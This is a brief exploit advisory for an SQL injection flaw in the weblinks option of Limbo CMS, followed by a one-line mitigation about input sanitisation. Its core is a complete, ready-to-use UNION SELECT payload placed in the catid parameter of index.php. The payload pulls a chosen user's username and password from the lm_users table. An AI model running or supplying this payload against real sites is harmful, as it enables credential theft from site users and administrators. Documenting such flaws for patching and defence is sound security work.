Limbo CMS (option=weblinks) sql injection exploit

This exploit allows an attacker to gain access to the username and password of a user in the Limbo CMS system. The attacker can send a malicious GET request to the index.php page with the option=weblinks parameter and an additional parameter of catid=-1 union select 0,1,2,concat(char(0x6c,0x6f,0x67,0x69,0x6e,0x3a),username,char(0x20,0x70,0x61,0x73,0x73,0x77,0x6f,0x72,0x64,0x3a),password),4,5,6,7,8,9,10,11 from lm_users where id=[user_id]/*. This will return the username and password of the user with the specified user_id.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in a SQL query.
